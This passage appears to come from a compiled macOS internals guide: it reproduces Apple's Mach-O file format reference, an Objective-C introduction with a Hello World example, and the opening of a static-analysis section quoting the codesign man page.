tables to support multiple modules. By convention, the file name extension for this 

format is .dylib, except for the main shared library of a framework, which does not 

usually have a file name extension. 

• The MH_PRELOAD file type is an executable format used for special-purpose programs 

that are not loaded by the OS X kernel, such as programs burned into programmable 

ROM chips. Do not confuse this file type with the MH_PREBOUND flag, which is a flag 

that the static linker sets in the header structure to mark a prebound image. 

• The MH_CORE file type is used to store core files, which are traditionally created when 

a program crashes. Core files store the entire address space of a process at the time it 

crashed. You can later run gdb on the core file to figure out why the crash occurred. 

• The MH_DYLINKER file type is the type of a dynamic linker shared library. This is the 

type of the dyld file. 

• The MH_DSYM file type designates files that store symbol information for a 

corresponding binary file. 



ncmds 

An integer indicating the number of load commands following the header structure. 

sizeofcmds 

An integer indicating the number of bytes occupied by the load commands following the 

header structure. 

flags 

An integer containing a set of bit flags that indicate the state of certain optional features of the 

Mach-O file format. These are the masks you can use to manipulate this field: 

• MH_NOUNDEFS—The object file contained no undefined references when it was built. 

• MH_INCRLINK—The object file is the output of an incremental link against a base file 

and cannot be linked again. 

• MH_DYLDLINK—The file is input for the dynamic linker and cannot be statically linked 

again. 

• MH_TWOLEVEL—The image is using two-level namespace bindings. 

• MH_BINDATLOAD—The dynamic linker should bind the undefined references when 

the file is loaded. 

• MH_PREBOUND—The file’s undefined references are prebound. 

• MH_PREBINDABLE—This file is not prebound but can have its prebinding redone. Used 

only when MH_PREBEOUND is not set. 

• MH_NOFIXPREBINDING—The dynamic linker doesn’t notify the prebinding agent 

about this executable. 

• MH_ALLMODSBOUND—Indicates that this binary binds to all two-level namespace 

modules of its dependent libraries. Used only 

when MH_PREBINDABLE and MH_TWOLEVEL are set. 

• MH_CANONICAL—This file has been canonicalized by unprebinding—clearing 

prebinding information from the file. See the redo_prebinding man page for details. 

• MH_SPLIT_SEGS—The file has its read-only and read-write segments split. 

• MH_FORCE_FLAT—The executable is forcing all images to use flat namespace 

bindings. 

• MH_SUBSECTIONS_VIA_SYMBOLS—The sections of the object file can be divided into 

individual blocks. These blocks are dead-stripped if they are not used by other code. 

See Linking for details. 

• MH_NOMULTIDEFS—This umbrella guarantees there are no multiple definitions of 

symbols in its subimages. As a result, the two-level namespace hints can always be 

used. 

mach_header_64 



Defines the general attributes of a file targeted for a 64-bit architecture. Declared 

in /usr/include/mach-o/loader.h. 

Declaration 

struct mach_header_64 { 

   uint32_t magic; 

   cpu_type_t cputype; 

   cpu_subtype_t cpusubtype; 

   uint32_t filetype; 

   uint32_t ncmds; 

   uint32_tsizeofcmds; 

   uint32_t flags; 

   uint32_t reserved; 

}; 

Fields 

magic 

An integer containing a value identifying this file as a 64-bit Mach-O file. Use the 

constant MH_MAGIC_64 if the file is intended for use on a CPU with the same endianness as 

the computer on which the compiler is running. The constant MH_CIGAM_64 can be used 

when the byte ordering scheme of the target machine is the reverse of the host CPU. 

cputype 

An integer indicating the architecture you intend to use the file on. The only appropriate value 

for this structure is: 

• CPU_TYPE_x86_64 to target 64-bit Intel-based Macintosh computers. 

• CPU_TYPE_POWERPC64 to target 64-bit PowerPC–based Macintosh computers. 

cpusubtype 

An integer specifying the exact model of the CPU. To run on all PowerPC processors supported 

by the OS X kernel, this should be set to CPU_SUBTYPE_POWERPC_ALL. 

filetype 

An integer indicating the usage and alignment of the file. Valid values for this field include: 

• The MH_OBJECT file type is the format used for intermediate object files. It is a very 

compact format containing all its sections in one segment. The compiler and assembler 

usually create one MH_OBJECT file for each source code file. By convention, the file 

name extension for this format is .o. 

• The MH_EXECUTE file type is the format used by standard executable programs. 



• The MH_BUNDLE file type is the type typically used by code that you load at runtime 

(typically called bundles or plug-ins). By convention, the file name extension for this 

format is .bundle. 

• The MH_DYLIB file type is for dynamic shared libraries. It contains some additional 

tables to support multiple modules. By convention, the file name extension for this 

format is .dylib, except for the main shared library of a framework, which does not 

usually have a file name extension. 

• The MH_PRELOAD file type is an executable format used for special-purpose programs 

that are not loaded by the OS X kernel, such as programs burned into programmable 

ROM chips. Do not confuse this file type with the MH_PREBOUND flag, which is a flag 

that the static linker sets in the header structure to mark a prebound image. 

• The MH_CORE file type is used to store core files, which are traditionally created when 

a program crashes. Core files store the entire address space of a process at the time it 

crashed. You can later run gdb on the core file to figure out why the crash occurred. 

• The MH_DYLINKER file type is the type of a dynamic linker shared library. This is the 

type of the dyld file. 

• The MH_DSYM file type designates files that store symbol information for a 

corresponding binary file. 

ncmds 

An integer indicating the number of load commands following the header structure. 

sizeofcmds 

An integer indicating the number of bytes occupied by the load commands following the 

header structure. 

flags 

An integer containing a set of bit flags that indicate the state of certain optional features of the 

Mach-O file format. These are the masks you can use to manipulate this field: 

• MH_NOUNDEFS—The object file contained no undefined references when it was built. 

• MH_INCRLINK—The object file is the output of an incremental link against a base file 

and cannot be linked again. 

• MH_DYLDLINK—The file is input for the dynamic linker and cannot be statically linked 

again. 

• MH_TWOLEVEL—The image is using two-level namespace bindings. 

• MH_BINDATLOAD—The dynamic linker should bind the undefined references when 

the file is loaded. 

• MH_PREBOUND—The file’s undefined references are prebound. 

• MH_PREBINDABLE—This file is not prebound but can have its prebinding redone. Used 

only when MH_PREBEOUND is not set. 



• MH_NOFIXPREBINDING—The dynamic linker doesn’t notify the prebinding agent 

about this executable. 

• MH_ALLMODSBOUND—Indicates that this binary binds to all two-level namespace 

modules of its dependent libraries. Used only 

when MH_PREBINDABLE and MH_TWOLEVEL are set. 

• MH_CANONICAL—This file has been canonicalized by unprebinding—clearing 

prebinding information from the file. See the redo_prebinding man page for details. 

• MH_SPLIT_SEGS—The file has its read-only and read-write segments split. 

• MH_FORCE_FLAT—The executable is forcing all images to use flat namespace 

bindings. 

• MH_SUBSECTIONS_VIA_SYMBOLS—The sections of the object file can be divided into 

individual blocks. These blocks are dead-stripped if they are not used by other code. 

See “Linking” for details. 

• MH_NOMULTIDEFS—This umbrella guarantees there are no multiple definitions of 

symbols in its subimages. As a result, the two-level namespace hints can always be 

used. 

reserved 

Reserved for future use. 

Load Command Data Structures 

The load command structures are located directly after the header of the object file, and they 

specify both the logical structure of the file and the layout of the file in virtual memory. Each 

load command begins with fields that specify the command type and the size of the command 

data. 

load_command 

Contains fields that are common to all load commands. 

Declaration 

struct load_command { 

   uint32_t cmd; 

   uint32_t cmdsize; 

}; 

Fields 

cmd 

An integer indicating the type of load command. Table 4 lists the valid load command types. 

cmdsize 

An integer specifying the total size in bytes of the load command data structure. Each load 

command structure contains a different set of data, depending on the load command type, so 



each might have a different size. In 32-bit architectures, the size must always be a multiple of 

4; in 64-bit architectures, the size must always be a multiple of 8. If the load command data 

does not divide evenly by 4 or 8 (depending on whether the target architecture is 32-bit or 64-

bit, respectively), add bytes containing zeros to the end until it does. 

Discussion 

Table 4 lists the valid load command types, with links to the full data structures for each type. 

Table 4: Mach-O load commands 

Commands Data structures Purpose 

LC_UUID uuid_command 

Specifies the 128-bit UUID for 

an image or its corresponding 

dSYM file. 

LC_SEGMENT segment_command 

Defines a segment of this file to 

be mapped into the address 

space of the process that loads 

this file. It also includes all the 

sections contained by the 

segment. 

LC_SEGMENT_64 segment_command_64 

Defines a 64-bit segment of this 

file to be mapped into the 

address space of the process 

that loads this file. It also 

includes all the sections 

contained by the segment. 

LC_SYMTAB symtab_command 

Specifies the symbol table for 

this file. This information is used 

by both static and dynamic 

linkers when linking the file, and 

also by debuggers to map 

symbols to the original source 

code files from which the 

symbols were generated. 

LC_DYSYMTAB dysymtab_command 

Specifies additional symbol 

table information used by the 

dynamic linker. 

LC_THREAD 

LC_UNIXTHREAD 
thread_command 

For an executable file, 

the LC_UNIXTHREAD command 

defines the initial thread state 

of the main thread of the 



Commands Data structures Purpose 

process. LC_THREAD is similar 

to LC_UNIXTHREAD but does 

not cause the kernel to allocate 

a stack. 

LC_LOAD_DYLIB dylib_command 

Defines the name of a dynamic 

shared library that this file links 

against. 

LC_ID_DYLIB dylib_command 
Specifies the install name of a 

dynamic shared library. 

LC_PREBOUND_DYLIB prebound_dylib_command 

For a shared library that this 

executable is linked prebound 

against, specifies the modules 

in the shared library that are 

used. 

LC_LOAD_DYLINKER dylinker_command 

Specifies the dynamic linker 

that the kernel executes to load 

this file. 

LC_ID_DYLINKER dylinker_command 
Identifies this file as a dynamic 

linker. 

LC_ROUTINES routines_command 

Contains the address of the 

shared library initialization 

routine (specified by the 

linker’s -init option). 

LC_ROUTINES_64 routines_command_64 

Contains the address of the 

shared library 64-bit 

initialization routine (specified 

by the linker’s -init option). 

LC_TWOLEVEL_HINTS twolevel_hints_command 
Contains the two-level 

namespace lookup hint table. 

LC_SUB_FRAMEWORK sub_framework_command 

Identifies this file as the 

implementation of a 

subframework of an umbrella 

framework. The name of the 
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umbrella framework is stored in 

the string parameter. 

LC_SUB_UMBRELLA sub_umbrella_command 

Specifies a file that is a 

subumbrella of this umbrella 

framework. 

LC_SUB_LIBRARY sub_library_command 

Defines the attributes of 

the LC_SUB_LIBRARY load 

command. Identifies a 

sublibrary of this framework 

and marks this framework as an 

umbrella framework. 

LC_SUB_CLIENT sub_client_command 

A subframework can explicitly 

allow another framework or 

bundle to link against it by 

including 

an LC_SUB_CLIENT load 

command containing the name 

of the framework or a client 

name for a bundle. 

uuid_command 

Specifies the 128-bit universally unique identifier (UUID) for an image or for its corresponding 

dSYM file. 

Declaration 

struct uuid_command { 

   uint32_t cmd; 

   uint32_t cmdsize; 

   uint8_t uuid[16]; 

}; 

Fields 

cmd 

Set to LC_UUID for this structure. 

cmdsize 

Set to sizeof(uuid_command). 

uuid 



128-bit unique identifier. 

segment_command 

Specifies the range of bytes in a 32-bit Mach-O file that make up a segment. Those bytes are 

mapped by the loader into the address space of a program. Declared in /usr/include/mach-

o/loader.h. See also segment_command_64. 

Declaration 

struct segment_command { 

   uint32_t cmd; 

   uint32_t cmdsize; 

   char segname[16]; 

   uint32_t vmaddr; 

   uint32_t vmsize; 

   uint32_t fileoff; 

   uint32_t filesize; 

   vm_prot_t maxprot; 

   vm_prot_t initprot; 

   uint32_t nsects; 

   uint32_t flags; 

}; 

Fields 

cmd 

Common to all load command structures. Set to LC_SEGMENT for this structure. 

cmdsize 

Common to all load command structures. For this structure, set this field 

to sizeof(segment_command) plus the size of all the section data structures that follow 

(sizeof(segment_command + (sizeof(section) * segment->nsect))). 

segname 

A C string specifying the name of the segment. The value of this field can be any sequence of 

ASCII characters, although segment names defined by Apple begin with two underscores and 

consist of capital letters (as in __TEXT and __DATA). This field is fixed at 16 bytes in length. 

vmaddr 

Indicates the starting virtual memory address of this segment. 

vmsize 



Indicates the number of bytes of virtual memory occupied by this segment. See also the 

description of filesize, below. 

fileoff 

Indicates the offset in this file of the data to be mapped at vmaddr. 

filesize 

Indicates the number of bytes occupied by this segment on disk. For segments that require 

more memory at runtime than they do at build time, vmsize can be larger than filesize. For 

example, the __PAGEZERO segment generated by the linker for MH_EXECUTABLE files has 

a vmsize of 0x1000 but a filesize of 0. Because __PAGEZEROcontains no data, there is no need 

for it to occupy any space until runtime. Also, the static linker often allocates uninitialized data 

at the end of the __DATA segment; in this case, the vmsize is larger than the filesize. The 

loader guarantees that any memory of this sort is initialized with zeros. 

maxprot 

Specifies the maximum permitted virtual memory protections of this segment. 

initprot 

Specifies the initial virtual memory protections of this segment. 

nsects 

Indicates the number of section data structures following this load command. 

flags 

Defines a set of flags that affect the loading of this segment: 

• SG_HIGHVM—The file contents for this segment are for the high part of the virtual 

memory space; the low part is zero filled (for stacks in core files). 

• SG_NORELOC—This segment has nothing that was relocated in it and nothing 

relocated to it. It may be safely replaced without relocation. 

segment_command_64 

Specifies the range of bytes in a 64-bit Mach-O file that make up a segment. Those bytes are 

mapped by the loader into the address space of a program. If the 64-bit segment has sections, 

they are defined by section_64 structures. Declared in /usr/include/mach-o/loader.h. 

Declaration 

struct segment_command_64 { 

   uint32_t cmd; 

   uint32_t cmdsize; 

   char segname[16]; 

   uint64_t vmaddr; 

   uint64_t vmsize; 



   uint64_t fileoff; 

   uint64_t filesize; 

   vm_prot_t maxprot; 

   vm_prot_t initprot; 

   uint32_t nsects; 

   uint32_t flags; 

}; 

Fields 

cmd 

See description in segment_command. Set to LC_SEGMENT_64 for this structure. 

cmdsize 

Common to all load command structures. For this structure, set this field 

to sizeof(segment_command_64) plus the size of all the section data structures that follow 

(sizeof(segment_command_64 + (sizeof(section_64) * segment->nsect))). 

segname 

A C string specifying the name of the segment. The value of this field can be any sequence of 

ASCII characters, although segment names defined by Apple begin with two underscores and 

consist of capital letters (as in __TEXT and __DATA). This field is fixed at 16 bytes in length. 

vmaddr 

Indicates the starting virtual memory address of this segment. 

vmsize 

Indicates the number of bytes of virtual memory occupied by this segment. See also the 

description of filesize, below. 

fileoff 

Indicates the offset in this file of the data to be mapped at vmaddr. 

filesize 

Indicates the number of bytes occupied by this segment on disk. For segments that require 

more memory at runtime than they do at build time, vmsize can be larger than filesize. For 

example, the __PAGEZERO segment generated by the linker for MH_EXECUTABLE files has 

a vmsize of 0x1000 but a filesize of 0. Because __PAGEZEROcontains no data, there is no need 

for it to occupy any space until runtime. Also, the static linker often allocates uninitialized data 

at the end of the __DATA segment; in this case, the vmsize is larger than the filesize. The 

loader guarantees that any memory of this sort is initialized with zeros. 

maxprot 

Specifies the maximum permitted virtual memory protections of this segment. 



initprot 

Specifies the initial virtual memory protections of this segment. 

nsects 

Indicates the number of section data structures following this load command. 

flags 

Defines a set of flags that affect the loading of this segment: 

• SG_HIGHVM—The file contents for this segment are for the high part of the virtual 

memory space; the low part is zero filled (for stacks in core files). 

• SG_NORELOC—This segment has nothing that was relocated in it and nothing 

relocated to it. It may be safely replaced without relocation. 

section 

Defines the elements used by a 32-bit section. Directly following a segment_command data 

structure is an array of section data structures, with the exact count determined by 

the nsects field of the segment_command structure. Declared in /usr/include/mach-

o/loader.h. See also section_64. 

Declaration 

struct section { 

   char sectname[16]; 

   char segname[16]; 

   uint32_t addr; 

   uint32_t size; 

   uint32_t offset; 

   uint32_t align; 

   uint32_t reloff; 

   uint32_t nreloc; 

   uint32_t flags; 

   uint32_t reserved1; 

   uint32_t reserved2; 

}; 

Fields 

sectname 

A string specifying the name of this section. The value of this field can be any sequence of ASCII 

characters, although section names defined by Apple begin with two underscores and consist 

of lowercase letters (as in __text and __data). This field is fixed at 16 bytes in length. 



segname 

A string specifying the name of the segment that should eventually contain this section. For 

compactness, intermediate object files—files of type MH_OBJECT—contain only one segment, 

in which all sections are placed. The static linker places each section in the named segment 

when building the final product (any file that is not of type MH_OBJECT). 

addr 

An integer specifying the virtual memory address of this section. 

size 

An integer specifying the size in bytes of the virtual memory occupied by this section. 

offset 

An integer specifying the offset to this section in the file. 

align 

An integer specifying the section’s byte alignment. Specify this as a power of two; for example, 

a section with 8-byte alignment would have an align value of 3 (2 to the 3rd power equals 8). 

reloff 

An integer specifying the file offset of the first relocation entry for this section. 

nreloc 

An integer specifying the number of relocation entries located at reloff for this section. 

flags 

An integer divided into two parts. The least significant 8 bits contain the section type, while 

the most significant 24 bits contain a set of flags that specify other attributes of the section. 

These types and flags are primarily used by the static linker and file analysis tools, such 

as otool, to determine how to modify or display the section. These are the possible types: 

• S_REGULAR—This section has no particular type. The standard tools create 

a __TEXT,__text section of this type. 

• S_ZEROFILL—Zero-fill-on-demand section—when this section is first read from or 

written to, each page within is automatically filled with bytes containing zero. 

• S_CSTRING_LITERALS—This section contains only constant C strings. The standard 

tools create a __TEXT,__cstring section of this type. 

• S_4BYTE_LITERALS—This section contains only constant values that are 4 bytes long. 

The standard tools create a __TEXT,__literal4 section of this type. 

• S_8BYTE_LITERALS—This section contains only constant values that are 8 bytes long. 

The standard tools create a __TEXT,__literal8 section of this type. 

• S_LITERAL_POINTERS—This section contains only pointers to constant values. 



• S_NON_LAZY_SYMBOL_POINTERS—This section contains only non-lazy pointers to 

symbols. The standard tools create a section of the __DATA,__nl_symbol_ptrssection 

of this type. 

• S_LAZY_SYMBOL_POINTERS—This section contains only lazy pointers to symbols. The 

standard tools create a __DATA,__la_symbol_ptrs section of this type. 

• S_SYMBOL_STUBS——This section contains symbol stubs. The standard tools 

create __TEXT,__symbol_stub and __TEXT,__picsymbol_stub sections of this type. See 

“Position-Independent Code” in Mach-O Programming Topics for more information. 

• S_MOD_INIT_FUNC_POINTERS—This section contains pointers to module initialization 

functions. The standard tools create __DATA,__mod_init_func sections of this type. 

• S_MOD_TERM_FUNC_POINTERS—This section contains pointers to module 

termination functions. The standard tools create __DATA,__mod_term_func sections 

of this type. 

• S_COALESCED—This section contains symbols that are coalesced by the static linker 

and possibly the dynamic linker. More than one file may contain coalesced definitions 

of the same symbol without causing multiple-defined-symbol errors. 

• S_GB_ZEROFILL—This is a zero-filled on-demand section. It can be larger than 4 GB. 

This section must be placed in a segment containing only zero-filled sections. If you 

place a zero-filled section in a segment with non–zero-filled sections, you may cause 

those sections to be unreachable with a 31-bit offset. That outcome stems from the 

fact that the size of a zero-filled section can be larger than 4 GB (in a 32-bit address 

space). As a result of this, the static linker would be unable to build the output file. 

See segment_command for more information. 

The following are the possible attributes of a section: 

• S_ATTR_PURE_INSTRUCTIONS—This section contains only executable machine 

instructions. The standard tools set this flag for the 

sections __TEXT,__text, __TEXT,__symbol_stub, and __TEXT,__picsymbol_stub. 

• S_ATTR_SOME_INSTRUCTIONS—This section contains executable machine 

instructions. 

• S_ATTR_NO_TOC—This section contains coalesced symbols that must not be placed in 

the table of contents (SYMDEF member) of a static archive library. 

• S_ATTR_EXT_RELOC—This section contains references that must be relocated. These 

references refer to data that exists in other files (undefined symbols). To support 

external relocation, the maximum virtual memory protections of the segment that 

contains this section must allow both reading and writing. 

• S_ATTR_LOC_RELOC—This section contains references that must be relocated. These 

references refer to data within this file. 

• S_ATTR_STRIP_STATIC_SYMS—The static symbols in this section can be stripped if 

the MH_DYLDLINK flag of the image’s mach_header header structure is set. 

https://developer.apple.com/library/mac/documentation/DeveloperTools/Conceptual/MachOTopics/1-Articles/dynamic_code.html#//apple_ref/doc/uid/TP40002528


• S_ATTR_NO_DEAD_STRIP—This section must not be dead-stripped. See “Linking” for 

details. 

• S_ATTR_LIVE_SUPPORT—This section must not be dead-stripped if they reference 

code that is live, but the reference is undetectable. 

reserved1 

An integer reserved for use with certain section types. For symbol pointer sections and symbol 

stubs sections that refer to indirect symbol table entries, this is the index into the indirect table 

for this section’s entries. The number of entries is based on the section size divided by the size 

of the symbol pointer or stub. Otherwise, this field is set to 0. 

reserved2 

For sections of type S_SYMBOL_STUBS, an integer specifying the size (in bytes) of the symbol 

stub entries contained in the section. Otherwise, this field is reserved for future use and should 

be set to 0. 

https://github.com/aidansteele/osx-abi-macho-file-format-

reference/blob/master/README.md  

Objective-C 

Important This document describes an older version of Objective-C and has not been 

updated to the current version. Developers learning Objective-C should instead refer 

to Programming with Objective-C. 

The Objective-C language is a simple computer language designed to enable 

sophisticated object-oriented programming. Objective-C is defined as a small but 

powerful set of extensions to the standard ANSI C language. Its additions to C are 

mostly based on Smalltalk, one of the first object-oriented programming languages. 

Objective-C is designed to give C full object-oriented programming capabilities, and 

to do so in a simple and straightforward way. 

Most object-oriented development environments consist of several parts: 

• An object-oriented programming language 

• A library of objects 

• A suite of development tools 

• A runtime environment 

This document is about the first component of the development environment—the 

programming language. This document also provides a foundation for learning about 

the second component, the Objective-C application frameworks—collectively known 

as Cocoa. The runtime environment is described in a separate document, Objective-C 

Runtime Programming Guide. 

https://github.com/aidansteele/osx-abi-macho-file-format-reference/blob/master/README.md
https://github.com/aidansteele/osx-abi-macho-file-format-reference/blob/master/README.md
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ProgrammingWithObjectiveC/Introduction/Introduction.html#//apple_ref/doc/uid/TP40011210
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjCRuntimeGuide/Introduction/Introduction.html#//apple_ref/doc/uid/TP40008048
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjCRuntimeGuide/Introduction/Introduction.html#//apple_ref/doc/uid/TP40008048


Who Should Read This Document 
The document is intended for readers who might be interested in: 

• Programming in Objective-C 

• Finding out about the basis for the Cocoa application frameworks 

This document both introduces the object-oriented model that Objective-C is based 

upon and fully documents the language. It concentrates on the Objective-C extensions 

to C, not on the C language itself. 

Because this isn’t a document about C, it assumes some prior acquaintance with that 

language. Object-oriented programming in Objective-C is, however, sufficiently 

different from procedural programming in ANSI C that you won’t be hampered if you’re 

not an experienced C programmer. 

Organization of This Document 
The following chapters cover all the features Objective-C adds to standard C. 

• Objects, Classes, and Messaging 

• Defining a Class 

• Protocols 

• Declared Properties 

• Categories and Extensions 

• Associative References 

• Fast Enumeration 

• Enabling Static Behavior 

• Selectors 

• Exception Handling 

• Threading 

A glossary at the end of this document provides definitions of terms specific to 

Objective-C and object-oriented programming. 

Conventions 
This document makes special use of computer voice and italic fonts. Computer voice 

denotes words or characters that are to be taken literally (typed as they appear). Italic 

denotes words that represent something else or can be varied. For example, the 

syntax: 

@interfaceClassName(CategoryName) 

means that @interface and the two parentheses are required, but that you can 

choose the class name and category name. 

Where example code is shown, ellipsis points indicates the parts, often substantial 

parts, that have been omitted: 

https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjectiveC/Chapters/ocObjectsClasses.html#//apple_ref/doc/uid/TP30001163-CH11-SW1
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjectiveC/Chapters/ocDefiningClasses.html#//apple_ref/doc/uid/TP30001163-CH12-SW1
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjectiveC/Chapters/ocProtocols.html#//apple_ref/doc/uid/TP30001163-CH15-SW1
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjectiveC/Chapters/ocProperties.html#//apple_ref/doc/uid/TP30001163-CH17-SW1
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjectiveC/Chapters/ocCategories.html#//apple_ref/doc/uid/TP30001163-CH20-SW1
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjectiveC/Chapters/ocAssociativeReferences.html#//apple_ref/doc/uid/TP30001163-CH24-SW1
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjectiveC/Chapters/ocFastEnumeration.html#//apple_ref/doc/uid/TP30001163-CH18-SW1
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjectiveC/Chapters/ocStaticBehavior.html#//apple_ref/doc/uid/TP30001163-CH16-SW1
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjectiveC/Chapters/ocSelectors.html#//apple_ref/doc/uid/TP30001163-CH23-SW1
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjectiveC/Chapters/ocExceptionHandling.html#//apple_ref/doc/uid/TP30001163-CH13-SW1
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjectiveC/Chapters/ocThreading.html#//apple_ref/doc/uid/TP30001163-CH19-SW1


- (void)encodeWithCoder:(NSCoder *)coder 

{ 

    [super encodeWithCoder:coder]; 

    ... 

} 

See Also 
If you have never used object-oriented programming to create applications, you 

should read Object-Oriented Programming with Objective-C. You should also consider 

reading it if you have used other object-oriented development environments such as 

C++ and Java because they have many expectations and conventions different from 

those of Objective-C. Object-Oriented Programming with Objective-C is designed to 

help you become familiar with object-oriented development from the perspective of an 

Objective-C developer. It spells out some of the implications of object-oriented design 

and gives you a flavor of what writing an object-oriented program is really like. 

The Runtime System 

Objective-C Runtime Programming Guide describes aspects of the Objective-C runtime 

and how you can use it. 

Objective-C Runtime Reference describes the data structures and functions of the 

Objective-C runtime support library. Your programs can use these interfaces to 

interact with the Objective-C runtime system. For example, you can add classes or 

methods, or obtain a list of all class definitions for loaded classes. 

Memory Management 

Objective-C supports three mechanisms for memory management: automatic garbage 

collection and reference counting: 

• Automatic Reference Counting (ARC), where the compiler reasons about the 

lifetimes of objects. 

• Manual Reference Counting (MRC, sometimes referred to as MRR for 

“manual retain/release”), where you are ultimately responsible for 

determining the lifetime of objects. 

Manual reference counting is described in Advanced Memory Management 

Programming Guide. 

• Garbage collection, where you pass responsibility for determining the 

lifetime of objects to an automatic “collector.” 

https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/OOP_ObjC/Introduction/Introduction.html#//apple_ref/doc/uid/TP40005149
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/OOP_ObjC/Introduction/Introduction.html#//apple_ref/doc/uid/TP40005149
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjCRuntimeGuide/Introduction/Introduction.html#//apple_ref/doc/uid/TP40008048
https://developer.apple.com/documentation/objectivec/objective_c_runtime
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/MemoryMgmt/Articles/MemoryMgmt.html#//apple_ref/doc/uid/10000011i
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/MemoryMgmt/Articles/MemoryMgmt.html#//apple_ref/doc/uid/10000011i


Garbage collection is described in Garbage Collection Programming Guide. 

(Not available for iOS—you cannot access this document through the iOS 

Dev Center.) 

Before we study basic building blocks of the Objective-C programming 
language, let us look a bare minimum Objective-C program structure so that we 
can take it as a reference in upcoming chapters. 

Objective-C Hello World Example 
A Objective-C program basically consists of the following parts − 

• Preprocessor Commands 
• Interface 
• Implementation 
• Method 
• Variables 
• Statements & Expressions 
• Comments 

Let us look at a simple code that would print the words "Hello World" − 

 Live Demo  

#import <Foundation/Foundation.h> 
 
@interface SampleClass:NSObject 
- (void)sampleMethod; 
@end 
 
@implementation SampleClass 
 
- (void)sampleMethod { 
   NSLog(@"Hello, World! \n"); 
} 
 
@end 
 
int main() { 
   /* my first program in Objective-C */ 
   SampleClass *sampleClass = [[SampleClass alloc]init]; 
   [sampleClass sampleMethod]; 
   return 0; 
} 

Let us look various parts of the above program − 

https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/GarbageCollection/Introduction.html#//apple_ref/doc/uid/TP40002431
http://tpcg.io/jY1MJW


• The first line of the program #import <Foundation/Foundation.h> is 
a preprocessor command, which tells a Objective-C compiler to 
include Foundation.h file before going to actual compilation. 

• The next line @interface SampleClass:NSObject shows how to 
create an interface. It inherits NSObject, which is the base class of 
all objects. 

• The next line - (void)sampleMethod; shows how to declare a 
method. 

• The next line @end marks the end of an interface. 
• The next line @implementation SampleClass shows how to 

implement the interface SampleClass. 
• The next line - (void)sampleMethod{} shows the implementation 

of the sampleMethod. 
• The next line @end marks the end of an implementation. 
• The next line int main() is the main function where program 

execution begins. 
• The next line /*...*/ will be ignored by the compiler and it has been 

put to add additional comments in the program. So such lines are 
called comments in the program. 

• The next line NSLog(...) is another function available in Objective-
C which causes the message "Hello, World!" to be displayed on the 
screen. 

• The next line return 0; terminates main()function and returns the 
value 0. 

Compile & Execute Objective-C Program 
Now when we compile and run the program, we will get the following result. 

2017-10-06 07:48:32.020 demo[65832] Hello, World! 

 

https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/Objec

tiveC/Introduction/introObjectiveC.html  

https://www.tutorialspoint.com/objective_c/index.htm 

Static Analysis Tools – CLI 
Static analysis is the process of examining a binary without executing it. Based on our results, 

we may begin to draw conclusions about internal working of the binary. In this section, we will 

introduce a series of tools that allow us to perform static analysis of macOS applications.  

Codesign  
 

https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjectiveC/Introduction/introObjectiveC.html
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjectiveC/Introduction/introObjectiveC.html
https://www.tutorialspoint.com/objective_c/index.htm


Similar to other platforms, binaries can be digitally code signed on macOS. This allows the 

operating system to validate if a binary was created by either Apple or a developer who 

received a code signing certificate from Apple. Self-signed and ad-hoc signed binaries are also 

supported. On macOS, code signing is a crucial part of the system security. We will use the 

codesign utility to verify code signatures and entitlements of a binary. Entitlements are strings 

which, if present in the code signature, add various rights or restrictions to the given 

application 

DESCRIPTION 
     The codesign command is used to create, check, and display code 

signa- 

     tures, as well as inquire into the dynamic status of signed code 

in the 

     system. 

 

     codesign requires exactly one operation option to determine what 

action 

     is to be performed, as well as any number of other options to 

modify its 

     behavior. It can act on any number of objects per invocation, but 

per- 

     forms the same operation on all of them. 

 

     codesign accepts single-character (classic) options, as well as 

GNU-style 

     long options of the form --name and --name=value. Common options 

have 

     both forms; less frequent and specialized options have only long 

form. 

     Note that the form --name value (without equal sign) will not 

work as 

     expected on options with optional values. 

 

 

OPTIONS 
     The options are as follows: 

 

     --all-architectures 

             When verifying a code signature on code that has a 

universal 

             ("fat") Mach-O binary, separately verify each 

architecture con- 

             tained. This is the default unless overridden with the -a 

             (--architecture) option. 

 

     -a, --architecture architecture 

             When verifying or displaying signatures, explicitly 

select the 

             Mach-O architecture given. The architecture can be 

specified 

             either by name (e.g. i386) or by number; if by number, a 

sub- 

             architecture may be appended separated by a comma.  This 

option 

             applies only to Mach-O binary code and is ignored for 

other 

             types.  If the path uses the Mach-O format and contains 

no code 



             of the given architecture, the command will fail.  The 

default 

             for verification is --all-architectures, to verify all 

architec- 

             tures present.  The default for display is to report on 

the 

             native architecture of the host system.  When signing, 

codesign 

             will always sign all architectures contained in a 

universal Mach- 

             O file. 

 

     --bundle-version version-string 

             When handling versioned bundles such as frameworks, 

explicitly 

             specify the version to operate on. This must be one of 

the names 

             in the "Versions" directory of the bundle.  If not 

specified, 

             codesign uses the bundle's default version.  Note that 

most 

             frameworks delivered with the system have only one 

version, and 

             thus this option is irrelevant for them.  There is 

currently no 

             facility for operating on all versions of a bundle at 

once. 

 

     -d, --display 

             Display information about the code at the path(s) given. 

Increas- 

             ing levels of verbosity produce more output.  The format 

is 

             designed to be moderately easy to parse by simple scripts 

while 

             still making sense to human eyes.  In addition, the -r, -

-file- 

             list, --extract-certificates, and --entitlements options 

can be 

             used to retrieve additional information. 

 

     -D, --detached filename 
